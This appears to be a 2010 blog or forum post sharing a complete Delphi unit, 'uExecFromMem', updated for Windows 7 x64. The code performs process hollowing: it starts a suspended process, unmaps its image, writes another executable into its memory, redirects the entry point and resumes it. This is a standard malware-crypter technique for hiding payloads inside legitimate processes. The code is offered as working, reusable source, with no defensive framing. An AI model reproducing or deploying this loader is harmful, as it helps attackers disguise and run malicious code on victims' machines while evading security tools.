We don't display ads so we rely on your Bitcoin donations to 1KWEk9QaiJb2NwP5YFmR24LyUBa4JyuKqZ
Post date: Jul 15, 2010 10:19:08 PM
uExecFromMem by steve10120 - fixed for Win7x64 by testest
The original uExecFromMem unit reported an error 487 "Attempt to access an invalid address" inside a Windows 7 environment due to the Context not being DWORD aligned. Testest fixed this by using his Get4ByteAlignedContext function to retreive a four byte aligned Context. Parameter support has also been added.
This delphi unit is now the perfect example of dynamically forking the Windows 32 executable featuring, support for all operating systems [XP, Vista, 7; 32, 64] and memory execution of multiple portable executables (available due to the PerformBaseRelocation function).
{ uExecFromMem Author: steve10120 Description: Run an executable from another's memory. Credits: Tan Chew Keong: Dynamic Forking of Win32 EXE; Author of BTMemoryModule: PerformBaseRelocation(). Reference: http://www.security.org.sg/code/loadexe.html Release Date: 26th August 2009 Website: http://ic0de.org History: First try Additions by testest 15th July 2010: - Parameter support - Win7 x64 support}unit uExecFromMem;interfaceuses Windows;function ExecuteFromMem(szFilePath, szParams: string; pFile: Pointer):DWORD;implementationfunction NtUnmapViewOfSection(ProcessHandle:DWORD; BaseAddress:Pointer):DWORD; stdcall; external 'ntdll';type PImageBaseRelocation = ^TImageBaseRelocation; TImageBaseRelocation = packed record VirtualAddress: DWORD; SizeOfBlock: DWORD; end;procedure PerformBaseRelocation(f_module: Pointer; INH:PImageNtHeaders; f_delta: Cardinal); stdcall;var l_i: Cardinal; l_codebase: Pointer; l_relocation: PImageBaseRelocation; l_dest: Pointer; l_relInfo: ^Word; l_patchAddrHL: ^DWord; l_type, l_offset: integer;begin l_codebase := f_module; if INH^.OptionalHeader.DataDirectory[5].Size > 0 then begin l_relocation := PImageBaseRelocation(Cardinal(l_codebase) + INH^.OptionalHeader.DataDirectory[5].VirtualAddress); while l_relocation.VirtualAddress > 0 do begin l_dest := Pointer((Cardinal(l_codebase) + l_relocation.VirtualAddress)); l_relInfo := Pointer(Cardinal(l_relocation) + 8); for l_i := 0 to (trunc(((l_relocation.SizeOfBlock - 8) / 2)) - 1) do begin l_type := (l_relInfo^ shr 12); l_offset := l_relInfo^ and $FFF; if l_type = 3 then begin l_patchAddrHL := Pointer(Cardinal(l_dest) + Cardinal(l_offset)); l_patchAddrHL^ := l_patchAddrHL^ + f_delta; end; inc(l_relInfo); end; l_relocation := Pointer(cardinal(l_relocation) + l_relocation.SizeOfBlock); end; end;end;function AlignImage(pImage:Pointer):Pointer;var IDH: PImageDosHeader; INH: PImageNtHeaders; ISH: PImageSectionHeader; i: WORD;begin IDH := pImage; INH := Pointer(Integer(pImage) + IDH^._lfanew); GetMem(Result, INH^.OptionalHeader.SizeOfImage); ZeroMemory(Result, INH^.OptionalHeader.SizeOfImage); CopyMemory(Result, pImage, INH^.OptionalHeader.SizeOfHeaders); for i := 0 to INH^.FileHeader.NumberOfSections - 1 do begin ISH := Pointer(Integer(pImage) + IDH^._lfanew + 248 + i * 40); CopyMemory(Pointer(DWORD(Result) + ISH^.VirtualAddress), Pointer(DWORD(pImage) + ISH^.PointerToRawData), ISH^.SizeOfRawData); end;end;function Get4ByteAlignedContext(var Base: PContext): PContext;begin Base := VirtualAlloc(nil, SizeOf(TContext) + 4, MEM_COMMIT, PAGE_READWRITE); Result := Base; if Base <> nil then while ((DWORD(Result) mod 4) <> 0) do Result := Pointer(DWORD(Result) + 1);end;function ExecuteFromMem(szFilePath, szParams:string; pFile:Pointer):DWORD;var PI: TProcessInformation; SI: TStartupInfo; CT: PContext; CTBase: PContext; IDH: PImageDosHeader; INH: PImageNtHeaders; dwImageBase: DWORD; pModule: Pointer; dwNull: DWORD;begin if szParams <> '' then szParams := '"'+szFilePath+'" '+szParams; Result := 0; IDH := pFile; if IDH^.e_magic = IMAGE_DOS_SIGNATURE then begin INH := Pointer(Integer(pFile) + IDH^._lfanew); if INH^.Signature = IMAGE_NT_SIGNATURE then begin FillChar(SI, SizeOf(TStartupInfo), #0); FillChar(PI, SizeOf(TProcessInformation), #0); SI.cb := SizeOf(TStartupInfo); if CreateProcess(PChar(szFilePath), PChar(szParams), nil, nil, FALSE, CREATE_SUSPENDED, nil, nil, SI, PI) then begin CT := Get4ByteAlignedContext(CTBase); if CT <> nil then begin CT.ContextFlags := CONTEXT_FULL; if GetThreadContext(PI.hThread, CT^) then begin ReadProcessMemory(PI.hProcess, Pointer(CT.Ebx + 8), @dwImageBase, 4, dwNull); if dwImageBase = INH^.OptionalHeader.ImageBase then begin if NtUnmapViewOfSection(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase)) = 0 then pModule := VirtualAllocEx(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase), INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE) else pModule := VirtualAllocEx(PI.hProcess, nil, INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE); end else pModule := VirtualAllocEx(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase), INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE); if pModule <> nil then begin pFile := AlignImage(pFile); if DWORD(pModule) <> INH^.OptionalHeader.ImageBase then begin PerformBaseRelocation(pFile, INH, (DWORD(pModule) - INH^.OptionalHeader.ImageBase)); INH^.OptionalHeader.ImageBase := DWORD(pModule); CopyMemory(Pointer(Integer(pFile) + IDH^._lfanew), INH, 248); end; WriteProcessMemory(PI.hProcess, pModule, pFile, INH.OptionalHeader.SizeOfImage, dwNull); WriteProcessMemory(PI.hProcess, Pointer(CT.Ebx + 8), @pModule, 4, dwNull); CT.Eax := DWORD(pModule) + INH^.OptionalHeader.AddressOfEntryPoint; SetThreadContext(PI.hThread, CT^); ResumeThread(PI.hThread); Result := PI.hThread; end; end; VirtualFree(CTBase, 0, MEM_RELEASE); end; if Result = 0 then TerminateProcess(PI.hProcess, 0); end; end; end;end;end.